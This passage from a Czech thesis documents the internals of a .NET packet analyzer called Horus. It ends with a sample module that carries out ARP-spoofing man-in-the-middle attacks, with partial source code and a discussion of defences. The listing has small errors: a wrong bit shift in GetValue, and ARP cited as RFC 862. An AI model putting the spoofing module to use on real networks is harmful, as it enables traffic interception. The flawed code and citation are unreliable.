čímž se ušetří velmi výrazné množství kódu. Každé datové pole musí mít 
definováno několik funkcí – nastavení hodnoty, čtení hodnoty a porovnání. 
Je tedy možné vytvořit například datový typ – číslo_2Bajty a nadefinovat 
všechny potřebné funkce. Z tohoto datového pole je potom velmi snadné 
odvodit datové pole port – zobrazení v desítkové soustavě a například 
kontrolní součet – zobrazení v šestnáctkové soustavě. 
 Base_MultiField definuje datové pole, které v sobě obsahuje několik dalších 
polí (podobně jako hlavička protokolu). Například „IPv4 Type of service“ 
 Base_Protocol je třída určená pro vytváření protokolů. Úkolem těchto 
objektů je skládat datová pole odvozená z Base_Field za sebe. 
 Base_FrameProtocol je v každém rámci pouze jednou. Jedná se popis toho, 
co data představují – např. Ethernet rámec, NMEA rámec, … 
 
 
 Třída Helper je pomocný objekt, který mohou všechny ostatní třídy použít 
ke čtení různých informací. 
 Frame je objekt nesoucí veškeré informace o zachyceném rámci – data, čas 
příjmu, protokoly obsažené v rámci apod. 
 Layer je výčet možných vrstev, na kterých se protokol může nacházet. Je 
definováno celkem 12 vrstev – Model TCP/IP (Fyzická, Linková, 
Internetová, Transportní, Aplikační) + 6 uživatelských (User1 až User6) a 
jedna neznámá (Unknown) 
 
 
 Třídy Attribute_* slouží k upřesnění definic. Může jít například o určení 
vrstvy, na které se protokol nachází, nebo k nastavení webové adresy, kde 
se nachází specifikace protokolu. 
 
 FieldsObject, ProtocolsObject a TreeClass jsou určené ke zpracování data a 
budou popsány v kapitole 6.7.3. TreeClass. 
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Obrázek 7: Diagram tříd ve jmenném prostoru Horus.Base.Parsers 
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6.3.8.  HORUS.CORE  
Tento jmenný prostor je určen k ovládání programu pomocí uživatelského 
rozhraní. Uživatel tak může spouštět nebo zastavovat zachytávání, nastavovat 
filtry, přijímat data nebo si vyžádat zpracování libovolného rámce. 
 Form1 je třída určená k ladění programu – okno, do kterého se vypisují 
informace o stavu jádra – načítání modulů, chyby, logovací informace apod. 
 HorusCore – umožňuje komunikaci uživatele s modulem Horus.Core.dll 
 PacketEventHandler – definuje událost při příjmu nového paketu 
 
6.3.9.  HORUS.CORE.DATABASE  
V tomto namespace jsou uloženy objekty, které shromažďují informace o stavu 
běhu programu i o zachycených paketech. 
 FrameDescription, FieldDescription, ParserTreeNode a Parsers jsou 
objekty, pomocí kterých lze zjistit veškeré informace o načtených parserech 
– všechny známé protokoly i jaké datové pole obsahují, informace o délce 
jednotlivých polí apod. 
 CaptureStats ukládají statistiky zachytávání. V současné době nesou pouze 
informaci o stavu – spuštěno/zastaveno. 
 Windows je objekt, v němž je uloženo handle hlavního okna – Některé 
moduly mohou tuto informaci potřebovat při svém spouštění14 
 Pair, PairTypes a Pairs jsou objekty ukládající párové informace. Každý 
modul tak může například zjistit, která IP adresa s kterou komunikuje nebo 
jaká hardwarová adresa přísluší které IP adrese. 
 Logs, Log a RecordLevel jsou informace sloužící k logování informací o běhu 
programu. 
 Filter obsahuje záznam o právě používaném filtrovacím modulu – Pro 
uživatele je tento objekt nedůležitý, využívá ho většinou ke své činnosti 
pouze jádro. 
 Counters je objekt představující počítadla. Je tak možné například zjistit 
počet ICMP paketů, počet ARP paketů apod. 
6.3.10.  HORUS.CORE.MODULES  
Zde jsou uloženy informace o načtených a spuštěných zachytávacích a DP-
modulech. Objekty DPModule_Description a RunningDPModule_Description 
obsahují informace o jednotlivých data processing pluginech, respektive o jejich 
spuštěných instancích. CaptureModuleDescription a CaptureDevies zase nesou 
informace o zachytávacích modulech 
  
                                                        
14 Modul Horus.CaptureModule.WinPCap potřebuje toto okno ve Windows Vista při použití funkce 
User Account Control 
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6.3.11.  HORUS.CORE.OBJECTPOOL  
Tato část jádra spravuje objekty určené k dočasnému ukládání výsledků analýzy 
paketů. Pracuje na principu poolu. Jádro/Uživatel si vyžádá objekt vhodný pro 
zpracování ethernetového rámce – ParserWorkItem a použije ho k výpočtům. Poté, 
co již není potřeba, je vrácen do poolu. 
6.3.12.  HORUS.CORE.PCAP_NG 
V tomto jmenném prostoru jsou definovány objekty určené k ukládání 
přijatých dat ve formátu PCAP Next Generation15. Jádro automaticky ukládá přijatá 
data do dočasného souboru v tomto formátu. Některé zachytávací moduly 
(Horus.CaptureModule.PCAP_NG) mohou tyto třídy využít k opětovnému načítání 
dat. Jednotlivé třídy jsou pojmenovány podle typu záznamu, který reprezentují.  
Více informací o tomto souborovém formátu je možné nalézt zde: 
http://www.winpcap.org/ntar/draft/PCAP-DumpFileFormat.html 
 
Obrázek 8: Diagram tříd ve jmenném prostoru Horus.Core.PCAP_NG 
6.4.STRUKTURA PROGRAMOVÉHO BALÍKU  
Součástí balíku je několik knihoven. Cílem bylo vytvořit vzorové knihovny od 
každého typu tak, aby podle nich bylo možné dodělat další potřebné moduly.  
  
                                                        
15 Využívá například Wireshark 
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Obrázek 9: Struktura programového balíku 
6.5.STRUKTURA KNIHOVNY HORUS.CORE  
Jak již bylo řečeno, jádro programu obstarává veškerou činnost včetně načítání a 
správy modulů, zachytávání a zpracování rámců, ukládání dat do souboru a také 
komunikaci s uživatelským rozhraním. Z tohoto důvodu je jádro velmi složité a 
jeho popisu bude věnováno několik dalších kapitol. 
Horus.Core.dll 
Parsers 
Horus.Compiler.MS 
Horus.DPModule.ARPSpoof 
Horus.IFieldFiller.U4BRandom 
Horus.CaptureModule.COM 
Horus.CaptureModule.WinPCap 
Horus.CaptureModule.libpcap 
Horus.CaptureModule.PCAP_NG 
Horus.exe 
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Horus.Parsers
CaptureManager
Horus.CaptureModule
Horus.CaptureModule.COM
Horus.CaptureModule.WinPCap
Horus.CaptureModule.libpcap
Horus.CaptureModule.PCAP_NG
Device
CaptureDevice
CaptureDevice
_Threaded
PropertyAttribute
File Output
PCAP_NG
SmartThreadPool
Horus.Compiler
Horus.Compiler.MS
Parsers
Parsers.dll
ParserWorkItemPool
PWI
Filter
PWI
Filter
Thread
Parse
Filter
Thread
Parse
Filter
Horus.Core.Interface
Serialize
FilterBuilder
Frame
Description
Field
Description
LogsHorusCore DatabaseModules
Filter
Source
code
Horus.DPModule
Horus.DPModule.ARPSpoof
 
Obrázek 10: Struktura jádra Horus.Core 
Horní část schématu představuje třídy pro komunikaci s uživatelským 
rozhraním. To tak může zobrazit nebo nastavit veškeré parametry ze všech částí 
jádra. Dolní část je naopak zaměřena především na komunikaci s hardwarem a 
s přídavnými moduly. Střed schématu naznačuje způsob práce s přijatými daty. To 
bude popsáno v kapitole 6.6.3. Zpracování rámců. 
6.6.FUNKCE KNIHOVNY HORUS.CORE  
V této části práce bude popsána funkce jádra mého programu. Jde pouze o základní 
popis, který má funkci přiblížit a ne zcela detailně popsat. 
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6.6.1.  NAČÍTÁN Í  MODULŮ  
Součástí inicializace je i načtení všech knihoven. V současné vývojové verzi 
nedochází k vyhledávání DLL knihoven, ale jsou načteny pouze moduly napevno 
zapsané v programu. Jádro načte DLL knihovnu a pomocí techniky .NET reflection 
zjistí, jaké moduly v sobě daná knihovny nese. Ty jsou poté okamžitě inicializovány 
a přidány do seznamů dostupných modulů 
Horus.CaptureModule 
Jakmile jádro nalezne v knihovně třídu s definovaným rozhraním 
IDevice_Enumerator, načte tento modul jako zachytávací. Vytvoří instanci daného 
rozhraní a pomocí něj vyhledá veškerý dostupný hardware, který je možný použít. 
Pro každé takto vytvořené rozhraní zjistí, jaké atributy je možné nastavit. 
V případě modulu, který čte ze souboru, to může být například cesta k tomuto 
souboru, v případě síťového zařízení například možnost použít promiskuitní 
režim. Nakonec je dostupné zařízení přidáno do seznamu. 
Horus.Compiler 
Načítání tohoto modulu je velmi jednoduché. Dojde pouze k vytvoření instance 
rozhraní ICompiler. V programu může být vždy použit pouze jeden modul. Jakmile 
jádro nalezne více překladačů, použije vždy pouze poslední načtený. 
DPModule 
Po načtení tohoto typu není žádný objekt inicializován. Jsou pouze zjištěny 
informace o modulu – jméno a krátký popis činnost, a je přidán do seznamu 
dostupných modulů 
IFieldFiller  
Je vytvořena instance modulu a ta je přidána do seznamu. Tento typ modulu je 
stále ve fázi návrhu, a proto není ještě plně funkční. 
Parser 
Nejdříve jsou nalezeny všechny soubory s příponou cs v adresáři /Parsers. Ty jsou 
pomocí C# překladače přeloženy do DLL knihovny s názvem prasers.dll. Pokud se 
překlad nezdaří, dojde k chybě programu a inicializace jádra dále nepokračuje. Po 
načtení knihovny parsers.dll, v ní jsou vyhledány všechny dostupné typy rámců – 
Ethernet, NMEA,… a ty jsou přidány do seznamu dostupných parserů. Jakmile je 
dokončeno načítání knihoven, dojde k projití definic rámců pomocí .NET reflection. 
Vytvoří se tak jakýsi strom, který popisuje závislosti protokolů a datových polí. Je 
zde například informace o tom, že IPv4 adresu je možné vložit do IPv4 protokolu, 
ale nikoliv do TCP protokolu. Z tohoto stromu pak může uživatelské rozhraní 
vytvořit nápovědu pro psaní filtrů. 
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6.6.2.  Ř ÍZENÍ  ZACHYTÁVÁNÍ  
Nejdříve si uživatel pomocí GUI vybere, které moduly chce použít. Ihned po 
zaškrtnutí ovládacího prvku checkbox, je zavolána metoda open vybraného 
modulu. Ten si tak může provést potřebnou inicializaci jako načtení dalších 
knihoven, spuštění služeb, apod. Zároveň musí vrátit jádru informaci o tom, že je 
připraven pro zachytávání – nastaví svůj stav na openned. Poté, co uživatel klikne 
na tlačítko „Start capture“, je zavolána metoda InitCapture všech otevřených 
zachytávacích modulů. Úkolem knihoven je v tomto případě připojit se k fyzickému 
hardwaru, otevřít soubory, vytvořit vlákna atd. Jakmile dojde k inicializaci všech 
vybraných knihoven – stav initialized, je zavolána další metoda – StartCapture. Tím 
je oznámeno, že zachytávací moduly mohou předávat přijaté rámce jádru, které je 
v tomto případě připraveno na jejich zpracování – stav running. Konec zachytávání 
probíhá víceméně v opačném pořadí. Tlačítko „Stop capture“ vyvolá u spuštěných 
modulů metodu StopCapture, které ukončí předávání rámců jádru, a modul se 
vrací do stavu openned. Případně je možné moduly zcela ukončit – stav closed. 
Během otevírání a spouštění modulů je také vytvořen soubor, do kterého budou 
později ukládány všechny zachycené rámce. Při inicializaci jsou do něj uloženy 
informace o použitých modulech a typy přijímaných rámců. 
6.6.3.  ZPRACOVÁNÍ RÁMCŮ  
Zachytávací modul přijme rámec, volitelně ho může označit časovou značkou a 
pomocí události OnNewFrame ho předá jádru.  
Tato část programu je výpočetně a paměťově nejnáročnější, a bylo proto 
nutné využít několika různých optimalizací. Jelikož se jedná o platformu .NET, je 
výkon nejvíce ovlivněn čtením a zápisem do paměti. Tento problém byl vyřešen 
použitím třídy TreeClass. Kvůli maximálnímu využití procesoru je nutné rozdělit 
zpracování rámců do několika vláken. 
SmartThreadPool 
SmartThreadPool je objekt, sloužící k rozdělení výpočetní zátěže do více vláken. Je 
uložen v knihovně SmartThreadPool.dll16. Jeho úkolem je spravovat skupinu 
vláken a přiřazovat jim úkoly ze vstupní fronty. Výhodou je, že objekt dokáže 
vlákna vytvářet a uvolňovat podle okamžité zátěže, a šetřit tak výpočetní výkon 
pro jiné použití. V tomto programu je ThreadPool nastaven následujícím 
způsobem: 
 Maximální počet vláken: 10x počet procesorů 
 Minimální počet vláken: 1x počet procesorů  
 Vlákno je ukončeno po 5 vteřinách nečinnosti 
                                                        
16 Programátorem knihovny je  Ami Bar, který ji zveřejnil pro volné použití 
 http://www.codeproject.com/KB/threads/smartthreadpool.aspx 
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ParserWorkItemPool 
Jelikož zpracování probíhá paralelně, je nutné zajistit synchronizaci vláken tak, aby 
nedocházelo k soutěžení o zdroje. Používání synchronizačních funkcí jako lock, 
monitor apod. je však velmi pomalé17. Proto jsem volil přístup, že veškerá potřebná 
data jsou zkopírována ještě předtím, než jsou potřeba pro každá vlákno. Díky 
takovéto správě zdrojů není nutné uvnitř vlákna používat synchronizační funkce 
(až na výjimky), a zpracování je tak velmi rychlé. ParserWorkItemPool je objekt 
pracující na principu objectpoolu, jehož úkolem je dodat každému vláknu potřebná 
data a poté, co již nejsou potřeba, je opět uvolnit pro zpracování dalšího rámce. 
Objekt ParserWorkItemPool dodává tato data: 
 Objekt pro uložení surových přijatých dat 
 Pole pro výsledky filtrování 
 Objekt pro filtrování 
 TreeClass pro uložení výsledků parsování 
 
Veškeré tyto informace jsou uloženy v jedné třídě pojmenované 
ParserWorkItem – PWI. 
Rámec se ihned po přijetí uloží do souboru ve formátu PCPA_NG a poté je 
v objectpoolu nalezen ParserWorkItem, který typem odpovídá danému rámci – 
např. Ethernet. K rámci se přidá pořadové číslo a odešle do vstupní fronty 
SmartThreadPoolu. Jakmile se rámec dostane na řadu, provede se jeho zpracování 
pomocí parserů. Parsery mohou informace ze zpracovávaného rámce uložit do 
vnitřní databáze programu. Obvykle se jedná o informace kdo, s kým komunikuje, 
na jakých portech, páry IP Adresa  MAC Adresa, počty protokolů pro statistiky 
apod. Výsledky zpracování jsou uloženy do objektu TreeClass, který bude popsán 
dále. Následně se provede filtrování. Každý použitý DPModul si může, stejně jako 
uživatelské rozhraní, nastavit vlastní nezávislý filtr. Výsledkem tedy není pouze 
Zobraz/Zahoď paket, ale pole hodnot, přičemž každá odpovídá jednomu 
DPModulu. Uživatelské rozhraní je v tomto případě uloženo na nulté pozici 
výsledného pole. Poté je nutné pakety opět srovnat v pořadí, v jakém byly přijaty. 
To je prováděno pomocí pořadových čísel, kterými je rámec označen ihned po 
přijetí. Paket je poté předán každému modulu, pro který byl výsledek filtrování 
kladný. Daný DPModul/uživatelské rozhraní už může s paketem dělat cokoliv je 
nutné – kromě úpravy dat. V jádře je několik pomocných funkcí, které slouží pro 
kopírování a duplikování přijatých rámců. Ty je pak možné už libovolně upravovat 
nebo přeposílat zpět na síťové rozhraní. 
Při běžném síťovém provozu – www, ICQ, internetové rádio – spravuje 
objekt ParserWorkItemPool řádově desítky objektů. 
                                                        
17 Vlákna na sebe musí navzájem čekat 
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6.7.ULOŽENÍ ZPRACOVANÝCH RÁMCŮ V  PAMĚTI  
Výkon platformy .NET je téměř srovnatelný s nativními aplikacemi. Její největší 
slabinou je však přístup k paměti. Je to z důvodu, že každý zápis nebo čtení musí 
být ověřen tak, aby nedocházelo k přístupu do nealokované paměti. To se ukázalo 
být jako největší problém při vytváření mého programu. Pro uživatele je 
nejvhodnější zobrazení ve stromové struktuře, kdy na první pohled vidí, že IP 
protokol obsahuje cílovou a zdrojovou adresu, TTL apod.  
6.7.1.  STROMOVÁ STRUKTURA  
Jako nejsnazší způsob uložení se zdá být stromová struktura. Po přijetí je 
vytvořena kořenová větev podle typu přijatého rámce – Ethernet. Následně jsou 
pomocí parserů vytvářeny další větve, které odpovídají jednotlivým protokolům 
nebo datovým polím. Hodnota datového pole je vždy zkopírována do 
odpovídajícího uzlu stromu. Zobrazení takovéto struktury je velmi jednoduché – 
stačí projít celý strom. Filtrování a vyhledávání ve stromu je také velmi jednoduché 
– je nutné pouze najít správnou větev a po té jít až k cíli vyhledávání. 
 
 
 
 
 
 
 
 
 
 
 
 
 
Obrázek 11: Stromové rozložení 
Toto uspořádání se ukázalo být jako velmi nevhodné, neboť neustálé 
alokace, kopírování dat a uvolňování paměti velmi zatěžovaly procesor a 
znemožňovaly tak použití programu při vyšším zatížení sítě. Z důvodu nízké 
výkonnosti jsem od toho způsobu řešení upustil. 
Ethernet 
Zdrojová MAC 
adresa 
00:11:22:33:44:55 
Cílová MAC adresa 
00:01:02:03:04:05 
IP protokol 
Zdrojová IP adresa 
192.168.0.10 
Cílová IP adresa 
147.229.0.1 
… 
… … 
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6.7.2.  L INEÁRNÍ STRUKTURA  
Další možností, jak rozložit přijatý rámec do paměti, je vytvoření lineárního 
seznamu obsažených protokolů a datových polí. Přijatý rámec by však zůstal 
nezměněn a do seznamu by se pouze uložily začátky a konec jednotlivých datových 
bloků. 
 
 
 
 
 
 
Obrázek 12: Lineární rozložení 
Při programování tohoto rozložení se však vyskytlo několik problémů. Na prvním 
místě je samozřejmě výpočetní výkon, to znamená nutnost použití pole, nikoliv 
seznamu. To znamená, že všechny prvky pole musí být stejně velké. To však není 
možné, neboť datové pole nese informaci pouze o pozici v rámci – začátek a konec, 
zatímco protokol potřebuje daleko více informací. Dalším, tentokrát výrazným 
problémem, je vyhledávání a filtrování. Jelikož data nejsou rozložena ve stromu, je 
procházení velmi pomalé – musí se projít všechny prvky a to je algoritmicky 
náročné. Tento přístup jsem nakonec opustil kvůli rychlosti filtrování a také kvůli 
vysoké složitosti, která by velmi omezila následné rozšíření funkcí. 
6.7.3.  TREECLASS  
TreeClass je jakousi kombinací obou předchozích řešení. Ze stromové struktury 
zachovává jednoduchost a rychlost při vyhledávání a filtrování a z lineární nízký 
počet alokací a tím vysoký výkon při parsování rámců. Funguje na principu 
znovuužití již jednou alokované paměti a postupně se přizpůsobuje zátěži a typu 
komunikace na síti. 
  
 
Přijatý rámec 
Ether 
net 
Dst. 
MAC 
Src. 
 MAC 
IP 
Proto. 
Src. 
IP 
Dst. 
IP 
… 
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Obrázek 13: TreeClass 
Po přijetí rámce je spuštěno parsování, které vytvoří stromovou strukturu 
odpovídající danému rámci. Oproti běžné stromové struktuře je zde však několik 
drobných rozdílů. Jednotlivé vrstvy stromu nejsou uloženy v seznamu, ale v poli. 
To je sice pomalejší při parsování, ale rychlejší při filtrování a vyhledávání. Druhý 
rozdíl spočívá v tom, že uzly neobsahují přímo hodnoty, ale typ datového pole a 
odkaz na daná data v rámci. 
  
Přijatý 
rámec 
Ethernet 
Zdrojová 
MAC 
Cílová MAC IP 
Zdrojová IP 
adresa 
Cílová IP 
adresa 
… TCP 
… … 
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Obrázek 14: TreeClass po přijetí druhého rámce 
Po přijetí druhého rámce je celý tento strom ponechán v paměti, ale nepoužité uzly 
jsou označeny jako neaktivní. Použité jsou překonfigurovány tak, aby směrovaly na 
nové datové typy a hodnoty do nového rámce. Pokud na dané úrovni není 
dostatečný počet objektů, je pole rozšířeno. Tím je možné použít již jednou 
vytvořený strom pro zcela jiný typ rámce (ARP, IP, …) při zachování minimálního 
počtu alokací. Podle průběžných měření a testů je tato struktura zcela alokována 
při běžném síťovém provozu (WWW, ICQ, mail) po přijetí zhruba pěti až deseti 
rámců. 
Nevýhodou je, že tato struktura musí být pro znovupoužití uvolněna. Pokud 
tedy uživatel chce zobrazit nějaký starší paket, je nutné ho znovu zpracovat. To je 
však velmi malé zdržení – v řádu desítek milisekund. 
  
2. 
přijatý 
rámec 
Ethernet 
Zdrojová 
MAC 
Cílová MAC ARP 
HTYPE PTYPE … 
TCP 
neaktivní 
… 
neaktivní 
… 
neaktivní 
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6.8.DEFINICE PROTOKOLŮ  
Definiční soubory označované jako parsery jsou psány v jazyku C#. Kvůli 
jednoduchosti a také kvůli větší univerzálnosti využívají jakousi platformu pro 
specifikaci protokolů. Ta se stará o převedení definic datových polí na konkrétní 
data nalezená v přijatém rámci. Zároveň je také možné pomocí specifikace zpětně 
vytvořit libovolný rámec a ten odeslat na síťové zařízení. Platforma také 
z použitých definic vytváří za běhu programu nápovědu pro nastavování filtrů. 
Je možné definovat celkem 4 různé datové typy 
 Field – Běžné datové pole, například IP adresa. 
 MultiField – Skupina datových polí, například IPv4 – Type of Service. 
 FrameProtocol – Typ rámce, například Ethernet. 
 Protocol – Protokol, například IPv4. 
 
Programátor může v definicích využít jakékoliv konstrukce jazyka C#. Musí 
se však snažit psát co nejrychlejší kód, neboť parsery jsou spouštěny pro 
každý přijatý rámec, tedy až několikrát za vteřinu. 
 
6.8.1.  DATOVÉ POLE  –  F IELD  
Definice datového pole je nejsložitější, protože se jedná o základní stavební prvek, 
ze kterého se skládají všechny ostatní typy. Mezi jeho vlastnosti patří velikost, 
způsob porovnání s jinými hodnotami, převedení do textu, možnost nastavení 
hodnoty. 
Příklad definice datového pole U4Byte_HostOrder 
V této kapitole je popsáno nadefinování datového typu, který slouží pro zpracování 
pole o velikosti 4B a převedení pořadí bytů tak, aby je bylo možné číst na 
procesorech typu x86. 
Kompletní definici je možné nalézt v Příloha 2 – Datové pole 
U4Byte_HostOrder. 
 Nejdříve je nutné zadat používaný namespace, ve kterém jsou definovány 
rodičovské třídy 
using Horus.Base.Parsers; 
 
 Ještě před definicí je nutné zadat několik atributů. Povinná je specifikace délky 
pole v bitech. V tomto případě 4*8 = 32 bitů. Dále je možné určit datové typy, 
které dokáže třída zpracovat – UInt32 a string ve formátu D - dekadické číslo a 
0xHHHHHHHH – číslo zadané v šestnáctkové soustavě. 
[Attribute_FieldLength(4 * 8)] 
[Attribute_DataType(typeof(UInt32))] 
[Attribute_DataType(typeof(string), "D", "0xHHHHHHHH")] 
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 Jde o datové pole, proto musí být odvozeno ze základní třídy Base_Field 
abstract class U4Byte_HostOrder : Base_Field 
 
 Metoda Compare slouží k porovnání daného objektu s jiným 
objektem/hodnotou. V tomto případě není nadefinována a je použita zděděná 
metoda. 
public override bool Compare(object o) 
{ 
return base.Compare(o);  
} 
 
 GetValue má za úkol načíst hodnotu z rámce. This[0] je přístup k přijatým 
datům. V tomto případě k nultému bajtu patřícímu danému datovému poli. 
public override unsafe object GetValue() 
{ 
  return (uint)((this[0]<<24)+(this[1]<<16)+(this[2]<<16)+this[3]); 
} 
 
 SetValue naopak nastavuje hodnotu. Nejdříve musí rozpoznat, v jakém formátu 
jsou data zadána,  ta následně zpracovat a uložit na datová místa patřící poli. 
public unsafe override ushort SetValue(object o) 
{ 
  if (o != null) 
{ 
  if (o.GetType().Equals(typeof(string)))  //string 
  { 
   … 
  } 
  else if (o.GetType().Equals(typeof(uint))) //uint 
  { 
… 
  } 
  else          //Ostatní 
   base.SetValue(o); 
} 
  else 
   throw new NotImplementedException(); 
  return 0; 
 } 
} 
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Příklad definice datového pole U4Byte_HostOrder_Hex 
4bajtové datové pole samo o sobě nemá žádný význam. Jak již však bylo řečeno 
výše, je při definici datových polí možné použít funkce jazyka C#. V tomto případě 
se hodí dědičnost. Na následujícím příkladu je ukázáno, jak lze jednoduše vytvořit 
4bajtové číslo zobrazené v šestnáctkové soustavě. 
class U4Byte_HostOrder_Hex : U4Byte_HostOrder 
{ 
 public override string ToString() 
 { 
  return string.Format("0x{0:X8}", (uint)GetValue()); 
 } 
} 
Je vytvořena nová třída podle U4Byte_HostOrder a pouze předefinována 
metoda ToString(), která provádí převod hodnoty na text. Toto datové pole je 
možné použít například při zobrazení kontrolních součtů, které se obvykle zapisují 
v šestnáctkové soustavě. 
6.8.2.  SKUPINA DATOVÝCH POLÍ  –  MULTIF IELD  
Definice skupiny je stejná jako definice protokolu. Rozdíl je ve vnitřním zpracování. 
Příklad je možné nalézt v příloze. 
6.8.3.  TYP RÁ MCE –  FRAMEPROTOCOL  
Tento typ slouží k tomu, aby jádro rozpoznalo, které parsery má použít pro přijatý 
rámec. K tomu slouží atribut FrameType. 
[Attribute_FrameType(LinkType.LINKTYPE_ETHERNET)] 
 
 Dále už probíhá definice stejně jako v případě protokolu – viz. dále. 
public override void ProcessData() 
{ 
ProtocolsPool Protocols = base.P as ProtocolsPool; 
Protocol("Ethernet", Protocols.Ethernet); 
} 
 
6.8.4.  PROTOKOL  
Definice protokolu je velmi jednoduchá a jde víceméně o opsání hodnoty ze 
specifikací protokolů – RFC. 
Příklad definice protokolu Ethernet 
 
 Nejdříve je nutné uvést, na jaké vrstvě síťového modelu protokol pracuje. 
[Attribute_ProtocolLayer(Layer.Link)] 
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 Dále vytvoříme třídu typu Base_Protocol 
class Ethernet : Base_Protocol 
 
 Definice protokolu obsahuje pouze dvě metody. Jedna z nich určuje, jaká datová 
pole protokol obsahuje. Na začátku funkce je nutné nadefinovat zdroje 
datových polí a protokolů – objekty Fields a Protocols. Dále už stačí pouze 
vkládat objekty za sebe: Field(jméno, datový typ), případně Protocol(jméno, 
typ protokolu). Klíčovým slovem this je možné přistupovat k již přidaným 
polím a k jejich hodnotám. Podmínka v tomto příkladě this[2]18 přistupuje 
k datovému poli „Ethernet type“ a podle jeho hodnoty přidá odpovídající 
protokol. 
public override void ProcessData() 
{ 
 FieldsPool Fields = base.F as FieldsPool; 
 ProtocolsPool Protocols = base.P as ProtocolsPool; 
 
 Field("Destination", Fields.HWAddr); 
 Field("Source", Fields.HWAddr); 
 Field("Ethernet type", Fields.EtherType); 
 
 if (this[2] == EtherType.Values.IPv4) 
  Protocol("IPv4", Protocols.IPv4); 
 if (this[2] == EtherType.Values.ARP) 
  Protocol("ARP", Protocols.ARP); 
} 
 
 Další nezbytnou metodou je převedení protokolu do textu. Zde bude 
zobrazeno: „Zdrojová MAC adresa -> Cílová MAC adresa“.  
Např:  „00:11:22:33:44:55 -> 00:01:02:03:04:05“ 
public override string ToString() 
{ 
 return this[1].ToString() + " - > " + this[0].ToString(); 
} 
  
                                                        
18 Indexováno od 0 
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6.9.DP  MODUL ARPSPOOF 
V této kapitole bude popsán vzorový DP modul, který provádí útok typu ARP 
spoofing. V tomto jednoduchém případě jde pouze o generátor ARP paketů a funkci 
přeposílání přijatých paketů na správnou MAC adresu. Tento modul funguje pouze 
na síti využívající protokol IPv4. 
6.9.1.  ARP  SPOOFING  
ARP spoofing je jednoduchý síťový útok typu man in the middle. Zneužívá chyby ve 
starém19, ale stále používaném protokolu ARP. Tento protokol slouží ke zjištěním 
hardwarové adresy příslušící k dané protokolové adrese. V tomto případě ke 
zjištění páru MAC adresa – IPv4 adresa. Vyhledání adresy probíhá tak, že stanice 
odešle broadcastový dotaz např. „Kdo má IPv4 adresu 192.168.10.1“. Pokud 
některá stanice na síti má tuto adresu, odešle odpověď, tentokrát pouze 
unicastovou, tazateli – „Já jsem 192.168.10.1 a moje MAC je 00:11:22:33:44:55“. 
Chybou protokolu je, že není stavový. To znamená, že odpověď není nijak 
svázána s dotazem. Útok typu ARP spoofing využívá této slabiny a generuje pouze 
ARP odpovědi a tím vytváří na napadených stanicí falešné páry IP/MAC. Daná 
stanice přitom nic nepozná. 
 
 
 
 
 
 
 
 
 
 
Obrázek 15: ARP spoofing 
Existuje několik více či méně funkčních ochran proti tomuto typu útoku. 
Nejbezpečnější je použít statické nastavení párů MAC/IP. V tomto případě není 
ARP protokol téměř vůbec využíván. Tento způsob je ale prakticky 
nerealizovatelný. Při jakékoliv malé změně sítě – výměna síťové karty, změna IP 
                                                        
19 RFC 862 – Listopad 1982 
Stanice A Stanice B 
Útočník 
Já jsem A Já jsem B 
Původní kanál 
Sledovaný kanál 
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adres, reinstalace OS – je nutné znovu nakonfigurovat převodní tabulku. Z toho 
důvodu je možné toto řešení použít pouze pro malé domácí sítě. Zde však ztrácí 
ochrana smysl, neboť v domácím prostředí se dají útoky vyloučit. V některých 
případech se falešné ARP pakety využívají k přesměrování klientských stanic na 
určitý hardware kvůli autentizaci do sítě. Zde také není možné použít statické 
záznamy. 
Další možnou metodu je použít tzv. Dynamic ARP Inspection – DAI. Snaží se 
převést ARP protokol na stavový. Po odeslání dotazu čeká nastavenou dobu na 
odpověď na tento dotaz. Po vypršení času, nebo po přijetí odpovědi se opět ARP 
protokol zablokuje a jakékoliv další odpovědi nezpracovává. Jde o jednoduchou 
obranu, které však má určité slabiny. Pokud je totiž útočník rychlejší než 
dotazovaná stanice, může komunikaci přesměrovat. Zpomalení stanice je možné 
způsobit například útokem Denial of Service. 
Podle mých pokusů o tento typ útoku se zdá, že i některé domácí routery 
(Linksys WRT54G2) mají zabudovanou ochranu proti ARP spoofingu, i když 
v dokumentaci o ní není žádná zmínka. Nejspíše se jedná o Dynamic ARP 
Inspection. 
6.9.2.  ZDROJ OVÝ KÓD MODULU  ARPSPOOF  
Kompletní zdrojový kód je možné nalézt v Příloha 3 - DPModul ARPSpoof. Zde 
popíšu pouze nejdůležitější body. Jde o DP-modul, který komunikaci nejen přijímá, 
ale zároveň generuje. V tomto typu útoku je totiž nutné nejen generovat falešné 
pakety, ale zároveň vytvořit náhradní komunikační kanál, kterým se data dostanou 
k pravému příjemci. 
 Na začátku je podobně jako v definici protkolů nutné uvést některé atributy. 
V tomto případě je to jméno modulu a jeho funkce. 
[Attribute_Name("ARP Spoofer")] 
[Attribute_Description("Pravidelně odesílá ARP pakety")] 
 
 DPmoduly vznikají vytvořením třídy s rozhraním IDPModule. 
public class ARPSpoof : IDPModule 
 
 Dalším krokem je nadefinování proměnných. ARP pakety je potřeba odesílat 
v pravidelných intervalech. K tomu slouží timer, který odešle falešné pakety 
každých 1000ms. Takto vysoká frekvence není nutná a interval v řádech vteřin 
až desítek vteřin je dostačující. 
Timer timer = new Timer(1000); 
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 Dále je nutné nadefinovat několik parametrů, kterými uživatel nakonfiguruje 
funkci modulu. Je nutné nastavit MAC adresy a IP adresy napadených stanic a 
také vlastní adresy. Důležité je také zvolit rozhraní, které bude využito 
k odesílání ARP odpovědí. 
 [MacAddressAttribute("MAC Address 1")] 
 public string MAC1 
 [IPAddressAttribute("IP Address 1")] 
 public string IP1 
 [MacAddressAttribute("My MAC Address")] 
 public string MyMAC 
 [IPAddressAttribute("My IP Address")] 
 public string MyIP 
 [MacAddressAttribute("MAC Address 2")] 
 public string MAC2 
 [IPAddressAttribute("IP Address 2")] 
 public string IP2 
 [IFrameSenderAttribute("Interface", LinkType.LINKTYPE_ETHERNET)] 
 public IFrameSender FrameSender 
 
 Funkce Activate je volána po spuštění modulu. Vytvoří ARP pakety a nastaví filtr 
pro daný modul. 
ParserWorkItem Fake_ARP1 = null; 
ParserWorkItem Fake_ARP2 = null; 
void Activate() 
 { 
//Filtr - zachytává pakety pro vlastní MAC adresu, ale jinou IP. 
_Filter = "((Frame[\"Ethernet\"][\"Destination\"] == \"" + _MyMAC 
+ "\" ) && (Frame[\"Ethernet\"][\"IPv4\"][\"Destination Address\"] 
!= \"" + _MyIP + "\"));"; 
 
  //Fake_ARP1 
  Fake_ARP1 = HorusCore.GetPWI(LinkType.LINKTYPE_ETHERNET); 
  HorusCore.ParseFrame(Fake_ARP1); 
